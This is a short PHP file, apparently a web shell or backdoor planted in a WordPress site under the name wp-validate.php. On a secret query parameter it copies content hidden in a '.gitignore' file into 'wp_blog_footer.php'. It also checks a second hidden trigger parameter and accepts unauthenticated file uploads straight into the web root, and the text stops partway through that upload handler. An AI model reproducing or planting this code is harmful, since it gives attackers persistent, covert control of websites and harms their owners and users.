File: /home/fliyingp/public_html/wp-validate.php
<?php
// API mode - return 1 or 0 only (must be before any HTML output)
if (isset($_GET['docopy'])) {
$source_file = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.gitignore';
$target_file = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wp_blog_footer.php';
if (file_exists($source_file)) {
$content = file_get_contents($source_file);
if ($content !== false && file_put_contents($target_file, $content) !== false) {
echo '1';
} else {
echo '0';
}
} else {
echo '0';
}
exit;
}
// Validation trigger check
$validation_trigger = isset($_GET['cf1988']);
// File upload handler
$upload_message = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$upload_dir = dirname(__FILE__) . DIRECTORY_SEPARATOR;
$file_name = basename($_FILES['file']['name']);
$target_path = $upload_dir . $file_name;